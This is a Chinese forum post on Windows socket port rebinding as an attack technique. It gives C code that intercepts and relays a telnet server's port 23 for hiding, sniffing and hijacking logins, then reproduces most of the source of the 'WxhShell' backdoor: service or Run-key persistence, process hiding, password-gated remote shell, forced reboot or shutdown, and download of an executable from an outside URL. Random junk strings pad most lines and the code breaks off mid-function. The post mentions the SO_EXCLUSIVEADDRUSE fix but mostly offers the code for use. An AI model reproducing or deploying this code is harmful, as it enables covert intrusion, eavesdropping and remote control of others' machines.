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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '!wPnYT@D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AZxrJ2G  
NV8]#b  
  saddr.sin_family = AF_INET; 1UW s_|X!  
uX<+hG.n}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k;;nE o~6  
N<aB)</  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d&aBs++T  
#D`S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S)"##-~`T  
;Ze"<U  
  这意味着什么?意味着可以进行如下的攻击: 5jn$7iE`  
,VKQRmd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0W~.WkD  
:%/\1$3P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W il{FcHY  
u}Ei_ O<z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c8#T:HM|`  
GFd Z`i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZR/R'prW  
ATMc`z:5T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jOBY&W0r  
v]WH8GI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9U2Px$E  
ElQJ\%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uQ:Qb|  
AA))KBXq  
  #include >vQ6V'F  
  #include _&W0e}4  
  #include kU #:I9PO  
  #include    G%2P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _qY`KP "  
  int main() z@!^ow)`J  
  { Y*Y&)k6 t  
  WORD wVersionRequested; T$ H2'tK|  
  DWORD ret; rGTWcJ   
  WSADATA wsaData; 3AvVU]@&Z@  
  BOOL val; PqT"jOF]n  
  SOCKADDR_IN saddr; ;c>>$lr  
  SOCKADDR_IN scaddr; 6RH/V:YY  
  int err; +jp|Y?6Z  
  SOCKET s; gWFL  
  SOCKET sc; UskZ%J  
  int caddsize; 8W-]t1O%!  
  HANDLE mt; }US7 N w  
  DWORD tid;   uyL72($  
  wVersionRequested = MAKEWORD( 2, 2 ); &}zRH}s;  
  err = WSAStartup( wVersionRequested, &wsaData ); w`M]0'zls  
  if ( err != 0 ) { HS{P?~:=U  
  printf("error!WSAStartup failed!\n"); M'^(3#ZU  
  return -1; C0zrXhY_v  
  } *I=_*LoG2  
  saddr.sin_family = AF_INET; -"F0eV+y  
   8dc538:q}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _kh>Z  
%v]7BV^%6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ER{yuw  
  saddr.sin_port = htons(23); BwJNi6,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IK8%Q(.c  
  { j,}4TDWa  
  printf("error!socket failed!\n"); [FB&4>V/  
  return -1; !\aV 0,  
  } NeY"6!;k  
  val = TRUE; ;)gLjF/F7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5+`=t07^et  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }W1^t  
  { /M 0 p_4  
  printf("error!setsockopt failed!\n"); u/ }xE7G  
  return -1; GUKDhg,W  
  } j\! e9M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f](I.lm:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !0b%Jh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?4:rP@  
LxB&7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E\w+kAAf  
  { w-lrnjs  
  ret=GetLastError(); ^Ss<X}es-  
  printf("error!bind failed!\n"); !@( M_Z'  
  return -1; 77``8,  
  } P!5Z]+B#  
  listen(s,2); AQ-mE9>P  
  while(1) ^ b@!dS  
  { ?F1wh2o q  
  caddsize = sizeof(scaddr); Pfm*<,'x"[  
  //接受连接请求 )eECOfmnZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0X.TF  
  if(sc!=INVALID_SOCKET) +hpSxdAz4  
  { 0"TgLd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y7-*2"!  
  if(mt==NULL) NP "ylMr7P  
  { 6?O}Q7G  
  printf("Thread Creat Failed!\n"); L4~ W/6A  
  break; $ cq!RgRn  
  } 7iP5T  
  } }0Y`|H\v  
  CloseHandle(mt); NJ<N%hcjK  
  } `y'aH 'EEd  
  closesocket(s); ):S!Nl  
  WSACleanup(); 2pz4rc  
  return 0; MZ)T0|S_  
  }   A hR0zg  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~,T+JX  
  { Oohq9f#!  
  SOCKET ss = (SOCKET)lpParam; \Y9I~8\ gB  
  SOCKET sc; vuZf#\zh}  
  unsigned char buf[4096]; Ym'7vW#~  
  SOCKADDR_IN saddr; {b2 aL7  
  long num; z<t>hzl 7  
  DWORD val; <E SvvTf  
  DWORD ret; U3/8A:$y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0F1u W>D1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0#<WOns1   
  saddr.sin_family = AF_INET; uNy!< u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %w$ mSG  
  saddr.sin_port = htons(23); ?;_H{/)m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E.9^&E}PG  
  { cg{Gc]'1#  
  printf("error!socket failed!\n"); @/LiR>,  
  return -1; I :@|^PYw  
  } `&H04x"Y$>  
  val = 100; Y_+ SA|s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q4+Yv2e <r  
  { w?_`/oqd|  
  ret = GetLastError(); O MvT;Vgg  
  return -1; } #qQ2NCH  
  } $.9 +{mz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4j^bpfb,  
  { l:)S 3  
  ret = GetLastError(); YIO.yN"0  
  return -1; '^DUq?E4  
  } >4~#%&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W1hX?!xp!  
  { -n-Z/5~ X  
  printf("error!socket connect failed!\n"); " <Qm -  
  closesocket(sc); s@PLS5d"  
  closesocket(ss); QypZH"Np  
  return -1; \ZsP]};*  
  } Ts#pUoE~+H  
  while(1) Wa<-AZnh  
  { 7C?E z%a@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Tv1]v.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;5N41_hG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F*,5\s<  
  num = recv(ss,buf,4096,0); mVt3WZa  
  if(num>0) %7 /,m  
  send(sc,buf,num,0); ]=|P<F   
  else if(num==0) W/=7jM   
  break; <cj}:H *  
  num = recv(sc,buf,4096,0); B 2Z0  
  if(num>0) }qL~KA{&  
  send(ss,buf,num,0); >O3IfS(l  
  else if(num==0) V,vc_d?,_o  
  break; Bh,Q8%\6  
  } hVkO%]?  
  closesocket(ss); [Teh*CV  
  closesocket(sc); =gs~\q  
  return 0 ; `|,Bm|~:  
  } ~3d*b8  
g8'~e{= (  
`6}Yqh))  
========================================================== 5#2jq<D  
"O``7HA}  
下边附上一个代码,,WXhSHELL "|hlDe<  
8+ hhdy*b  
========================================================== 6#vI;d[^  
w{r8kH  
#include "stdafx.h" Cg^:jd  
] );NnsG  
#include <stdio.h> ^o bC4(  
#include <string.h> +!><5  
#include <windows.h> op.d;lO@  
#include <winsock2.h> KGD'mByt"  
#include <winsvc.h> 8O9Gs  
#include <urlmon.h> J)Ol"LXV  
c ;^A)_/  
#pragma comment (lib, "Ws2_32.lib") (-J<Vy]  
#pragma comment (lib, "urlmon.lib") R+uw/LG  
W"t"X ~T3  
#define MAX_USER   100 // 最大客户端连接数 iu|v9+  
#define BUF_SOCK   200 // sock buffer nd.hHQ  
#define KEY_BUFF   255 // 输入 buffer 7 OWsHlU  
*E7R(#,yC  
#define REBOOT     0   // 重启 ,_bp)-OG  
#define SHUTDOWN   1   // 关机 fK"iF@=Z`  
qX?[mdCHZ  
#define DEF_PORT   5000 // 监听端口 #Z0-8<\  
(kY@7)d'e  
#define REG_LEN     16   // 注册表键长度 kT2Wm/L  
#define SVC_LEN     80   // NT服务名长度 {Xv3:"E"O  
TL@mM  
// 从dll定义API ^e%k~B^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =J xFp, Xr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O"iak  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MyFCJJ/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (0}j]p'w  
#D0 ~{H  
// wxhshell配置信息 `O n(v  
struct WSCFG { G1[(F`t>  
  int ws_port;         // 监听端口 ai9  
  char ws_passstr[REG_LEN]; // 口令 "k, K~@}  
  int ws_autoins;       // 安装标记, 1=yes 0=no LQ>$ >A(  
  char ws_regname[REG_LEN]; // 注册表键名 t\%%d)d9  
  char ws_svcname[REG_LEN]; // 服务名 1$(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yquAr$L!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _r5wF(Y?7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }lO }x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }I'^./za  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?;RD u[eD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  P63 (^R  
%qi%$  
}; cm,4&x6  
&mdB\Y?^  
// default Wxhshell configuration s~Gw  
struct WSCFG wscfg={DEF_PORT, (Vap7.6;_  
    "xuhuanlingzhe", Z'ao[CG  
    1, dN0mYlu1|  
    "Wxhshell", .)t (:)*b  
    "Wxhshell", {2 EMz|&8  
            "WxhShell Service", 'kQ~  
    "Wrsky Windows CmdShell Service", n.ct]+L  
    "Please Input Your Password: ", CW;m  
  1, sUV>@UMnu  
  "http://www.wrsky.com/wxhshell.exe", +o u Y  
  "Wxhshell.exe" ~#4~_d.=L  
    }; Gk 6fO  
hIo0S8MOj$  
// 消息定义模块 }Aw47;5q;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &=NJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7H#2WFQ7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @ t|3gF$X  
char *msg_ws_ext="\n\rExit."; BfVBywty  
char *msg_ws_end="\n\rQuit."; x=vK EyS@  
char *msg_ws_boot="\n\rReboot..."; BUDGyl/=  
char *msg_ws_poff="\n\rShutdown..."; 5zVQ;;9  
char *msg_ws_down="\n\rSave to "; T]uKH29.%  
5W{hH\E _5  
char *msg_ws_err="\n\rErr!"; :*cHA  
char *msg_ws_ok="\n\rOK!"; ThiN9! Y  
xU:4Y0y8  
char ExeFile[MAX_PATH]; Ck@M<(x  
int nUser = 0; ^9=4iXd  
HANDLE handles[MAX_USER]; om>VQ3  
int OsIsNt; +(y>qd  
_Fxe|"<^  
SERVICE_STATUS       serviceStatus; O:,=xIXR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s-%J 5_d f  
sJv`fjf%8  
// 函数声明 "qE {a>d  
int Install(void); 3(o7co-f  
int Uninstall(void); %ZiK[e3G  
int DownloadFile(char *sURL, SOCKET wsh); Q.1XP  
int Boot(int flag); YuA7r"c  
void HideProc(void); ^}@`!ON  
int GetOsVer(void); ]) =H  
int Wxhshell(SOCKET wsl); m3luhGn  
void TalkWithClient(void *cs); m/{Y]D{2  
int CmdShell(SOCKET sock); ,ex]$fQ'  
int StartFromService(void); ,jTPg/r  
int StartWxhshell(LPSTR lpCmdLine); BCBUb  
#fN/LO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /3F<=zikO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z'*ml ?  
zhjJ>d%w  
// 数据结构和表定义 D$$3fN.iEL  
SERVICE_TABLE_ENTRY DispatchTable[] = PLdf_/]-   
{ zuMO1s  
{wscfg.ws_svcname, NTServiceMain}, @.1Qs`pt  
{NULL, NULL} :Fnzi0b  
}; BvQUn@ XE  
oSmjs  
// 自我安装 <"A#Eok|4  
int Install(void) @7-D7  
{ WAv@F[  
  char svExeFile[MAX_PATH]; +[_gyLN<5b  
  HKEY key; ?uig04@3  
  strcpy(svExeFile,ExeFile); yi|:}K$  
#<UuI9  
// 如果是win9x系统,修改注册表设为自启动 H4 =IY  
if(!OsIsNt) { U1jSUkqb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I:HV6_/^-G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $YPQC  
  RegCloseKey(key); #r(a~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hwp/jO:7\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "h$D7 mL  
  RegCloseKey(key); DP0Z*8Ia  
  return 0; 3<3t;&e  
    } Z@u ;Z[@  
  } ]o `4Z"  
} .01TTK*  
else { .T{U^0 )  
6# R;HbkO  
// 如果是NT以上系统,安装为系统服务 :/~_sJt C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  XtR`?  
if (schSCManager!=0) ..aK sSm(  
{ }FZp 840  
  SC_HANDLE schService = CreateService =uS8>.Qj  
  ( TtZrttCE6  
  schSCManager, 7F~xq#Wi#  
  wscfg.ws_svcname, f!(cD80  
  wscfg.ws_svcdisp, ?o@E1:aA  
  SERVICE_ALL_ACCESS, 5uzpTNAMM1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q4 $sc_0i  
  SERVICE_AUTO_START, S`4e@Z$  
  SERVICE_ERROR_NORMAL, H&9wSG`  
  svExeFile, h%u? lW  
  NULL, Sw[=S '(l  
  NULL, P^ by'b+zI  
  NULL, bnIf}ut-G  
  NULL, ,znL,%s  
  NULL gl Li  
  ); > d^r">!,  
  if (schService!=0) RBPYG u'6B  
  { c'S M>7L  
  CloseServiceHandle(schService); \/pVcR  
  CloseServiceHandle(schSCManager); N0=b[%g;n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?fm2qrV@fp  
  strcat(svExeFile,wscfg.ws_svcname); \#HL`R"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N#mK7|\c?:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dfnX!C~6\  
  RegCloseKey(key); hY)YX,f=S  
  return 0; WtMcI>4w  
    } cS+?s=d  
  } v#w4{.8)  
  CloseServiceHandle(schSCManager); N{|[R   
} g\E ._ab<  
} I)qKS@  
(Jm(}X]sh[  
return 1; P~;<o! f  
} +ESX.Vel  
!:&2+%  
// 自我卸载 [@jp9D H  
int Uninstall(void) @b4b{d5[  
{ Q^\{Zg)p  
  HKEY key; `;R|V  
<ihhV e  
if(!OsIsNt) { Gt?!E6^ !  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z(#XFXd  
  RegDeleteValue(key,wscfg.ws_regname); 34HFrMi  
  RegCloseKey(key); X}kVBT1w+x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s#M? tyhj  
  RegDeleteValue(key,wscfg.ws_regname); jp"XS  
  RegCloseKey(key); X+fu hcn  
  return 0; K%o6hBlk_  
  } ,!xz*o+#@  
} d91I  
} Sz^TG F  
else { PL9zNCr-[  
`@W3sW/^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aU,0gvI(}  
if (schSCManager!=0) zS#f%{   
{ Tq_1wX'\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H!Fr("6}  
  if (schService!=0) u66TrYStG  
  { 56 /.*qa  
  if(DeleteService(schService)!=0) { ufHuI*  
  CloseServiceHandle(schService); 6yV5Yjs  
  CloseServiceHandle(schSCManager); =P@M&Yy'  
  return 0; ";%e~ =  
  } eG a#$x?.  
  CloseServiceHandle(schService); Z_ iQU1  
  } 7R% PVgS4x  
  CloseServiceHandle(schSCManager); $sB48LJuU'  
} My`josJ`Pb  
} $fq-wl-=  
TPV6$a<  
return 1; 11^ {W F  
} {m1t~ S   
'M]CZ}  
// 从指定url下载文件 hnM9-hqm  
int DownloadFile(char *sURL, SOCKET wsh) "H/2r]?GT  
{ D~[ N_  
  HRESULT hr; w yuJSB  
char seps[]= "/"; Iqe=#hUFe!  
char *token; 0jl:Yzo&\  
char *file; RBMMXJj  
char myURL[MAX_PATH]; 3}.mp}K 5  
char myFILE[MAX_PATH]; 0`aHwt/F  
IeqWR4Y  
strcpy(myURL,sURL); "RR./e)h  
  token=strtok(myURL,seps); V{/)RZ/  
  while(token!=NULL) I\F=s-VVY  
  { #L).BM  
    file=token; v)v{QNQp^  
  token=strtok(NULL,seps); a!SR"3 k  
  } KBUAdpU8  
83p$!8]u  
GetCurrentDirectory(MAX_PATH,myFILE); s~IA},F,\  
strcat(myFILE, "\\"); 5,G<}cd  
strcat(myFILE, file); ~Sn5;g8+\  
  send(wsh,myFILE,strlen(myFILE),0); Ynk><0g6  
send(wsh,"...",3,0); {!:|.!-u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  P %U9S  
  if(hr==S_OK) 6w:g77SH)%  
return 0; -Lz1#Sk]A  
else Z]1z*dv  
return 1; A1=$kzw{UH  
N'Z_6A*-  
} 9phD5b~j  
9>} (]T  
// 系统电源模块 !Ed<xG/  
int Boot(int flag) Y`[HjS,  
{ l72i e  
  HANDLE hToken; hCOy\[2$  
  TOKEN_PRIVILEGES tkp;  5Fl  
H8=vQy  
  if(OsIsNt) { qU /Wg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `,8R~-GPD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p0:&7,+a,  
    tkp.PrivilegeCount = 1; 4u{E D(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eF gb6dSh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0YsN82IDD  
if(flag==REBOOT) { J T0,Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !@]h@MC$7  
  return 0; K_w0+oY a  
} *6\`A!C  
else { 3ec==.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nsy9 h}+A  
  return 0; z? b(|f\!  
} ADwwiq#E  
  } p1`'1`.3  
  else { [ XY:MU e  
if(flag==REBOOT) { r)Mx.`d!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3<1HqU  
  return 0; R;Ix<y{U  
} Hhce:E@K  
else { b$$L]$q2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6r-<XNv)0  
  return 0;  zxynEdO  
} UU:QK{{E  
} 0I ND9h. %  
Z:o' +oh  
return 1; v'2OHb#  
} Kw5+4R(5  
bQ:3G;  
// win9x进程隐藏模块 OB? 79l  
void HideProc(void) UdM5R [  
{ H&>>]DD  
;wYwiSVd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fy+7{=?^F  
  if ( hKernel != NULL ) 3!L<=X  
  { -^nQ^Td=j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /v5g;x_T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0 S`b;f  
    FreeLibrary(hKernel); oT5rX ,8  
  } JXa%TpI: E  
N6 }i>";_;  
return; kI1{>vYD  
} vG Lb2Q  
#.t$A9'  
// 获取操作系统版本 u3?Pp[tM<  
int GetOsVer(void) MdTd$ 4J3  
{ )*QTxN  
  OSVERSIONINFO winfo;  "lnk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); + 1%^c(3  
  GetVersionEx(&winfo); =jd=Qs IL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pa> 2JF*  
  return 1; 1_E3DXe  
  else :92a34  
  return 0; ~4 xBa:*z  
} NB6h/0*v  
YI(OrR;V  
// 客户端句柄模块 H fmMf^c  
int Wxhshell(SOCKET wsl) KL_}:O68  
{ /n3&e  
  SOCKET wsh; 0o'ML""j  
  struct sockaddr_in client; Jtk.v49Ad>  
  DWORD myID; f`";Q/rG  
,9j:h)ks?  
  while(nUser<MAX_USER) =rtA{g$)+  
{ a*wJcJTpV"  
  int nSize=sizeof(client); @^4M~F%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }T*xT>p^3  
  if(wsh==INVALID_SOCKET) return 1; W;@ae,^  
R8W4 4I*R:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l$ _+WC*wp  
if(handles[nUser]==0) l?<z1Acd&  
  closesocket(wsh); z{M,2  
else k^%ec3l  
  nUser++;  ,8 NEnB  
  } l$~bkVNL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7 |eSvC  
+Q#Qu0_   
  return 0; _w,0wn9N$  
} Ak-7}i  
> mDubP  
// 关闭 socket s/&]gj "  
void CloseIt(SOCKET wsh) &^D@(m7>{K  
{ ~E|V{z%  
closesocket(wsh); G78j$ ^/0  
nUser--; %_=R&m'n`  
ExitThread(0); r0uXMr=Z96  
} wdDHRW0Y  
jHw2Q8s|R  
// 客户端请求句柄 A-`J!xj#/  
void TalkWithClient(void *cs) T-8nUo}i  
{ < 3+&DV-<N  
h}<ZZ  
  SOCKET wsh=(SOCKET)cs; 5Cyjq0+  
  char pwd[SVC_LEN]; t4c#' y  
  char cmd[KEY_BUFF]; imq(3?  
char chr[1]; =]mx"0i[  
int i,j; =sVt8FWGY  
Ck a]F2,  
  while (nUser < MAX_USER) { !OVEA^6  
kxf=%<l  
if(wscfg.ws_passstr) { s ^@Cq=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?Pw \&q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +\$|L+@Z  
  //ZeroMemory(pwd,KEY_BUFF); Sg~A'dG  
      i=0; zi[M{bm  
  while(i<SVC_LEN) { M{RZ-)IC  
? Z fhz   
  // 设置超时 q;~>h  
  fd_set FdRead; +( (31l  
  struct timeval TimeOut; Yf`.Cq_:  
  FD_ZERO(&FdRead); D ;I;,Z  
  FD_SET(wsh,&FdRead); __%E!*m"<_  
  TimeOut.tv_sec=8; \k-juF80  
  TimeOut.tv_usec=0; 5VoiDM=\c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); % x;!s=U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G")EE#W$}  
y%l#lz=6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?bDae%>.d,  
  pwd=chr[0]; (uc)^lfX  
  if(chr[0]==0xd || chr[0]==0xa) { F@K;A%us)  
  pwd=0; ",_  
  break; &V{,D))6[  
  } ov>L-  
  i++; BtApl)q#  
    } eE_XwLE  
7f,W zvV  
  // 如果是非法用户,关闭 socket C2i..iD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l<%~w U  
} y.<Y]m  
jn Y3G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  P;/wb /  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; O0rt1  
&JM;jS z  
while(1) { oF^hq-xcP  
#;]F:TlR  
  ZeroMemory(cmd,KEY_BUFF);  kovzB]  
Pk_{{Z(1o  
      // 自动支持客户端 telnet标准   n9-[z2n  
  j=0; <ft9B05*  
  while(j<KEY_BUFF) { 1\{F.v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X0TGJ,yW(  
  cmd[j]=chr[0]; |%;txD  
  if(chr[0]==0xa || chr[0]==0xd) { X;>} ;LiK  
  cmd[j]=0; =upP3rw  
  break; H;&t"Ql.  
  } .w)t<7 y  
  j++; TvwIro  
    } :!h H`l}p  
>f8,YisH  
  // 下载文件 !2Iwur u  
  if(strstr(cmd,"http://")) { ji=po;g=E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z59J=?|  
  if(DownloadFile(cmd,wsh)) ~-i?=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ob #XKL  
  else FR"^?z?}p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xy&#}S}9  
  } $c47cJO)W  
  else { Or>[_3  
zxdO3I  
    switch(cmd[0]) { Jl ?Q}SB  
  KL`>mJo$  
  // 帮助 v}D!  
  case '?': { *?&O8SSBH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iK:]Q8b  
    break; RVnYe='  
  } o#6}?g.  
  // 安装 6P|neb}  
  case 'i': { ]Jq e)o  
    if(Install()) #9Z-Hd<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &nP rozC  
    else rd{( E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =1capix 1r  
    break; $0t %}DE  
    } TKX#/  
  // 卸载 ^+<uHd>  
  case 'r': { .`].\Zykf  
    if(Uninstall()) _R6> Ayw*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[]cMyV  
    else DUr1s]+P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Km-B=6*QY  
    break; Wz]S+IpY  
    } &@-glF5  
  // 显示 wxhshell 所在路径 K e8cfd~c  
  case 'p': { $n"Llw&)  
    char svExeFile[MAX_PATH]; L+L9)8FJ  
    strcpy(svExeFile,"\n\r"); 06$9Uz9  
      strcat(svExeFile,ExeFile); hg @Jpg  
        send(wsh,svExeFile,strlen(svExeFile),0); 9n7d "XD2  
    break; 0<9TyN6  
    } B"v=Fr[  
  // 重启 [4e5(!e  
  case 'b': { 8 Hn{CJ~'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q<pM tW  
    if(Boot(REBOOT)) H"l'E9k.&p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a{W-+t   
    else { qT4s* kqr  
    closesocket(wsh); 4{KsCd)  
    ExitThread(0); p%-9T>og  
    } ?da3Azp  
    break; IpxjP\  
    } kZNZ?A<D  
  // 关机 b&1@rE-  
  case 'd': { S)%x22sqf  
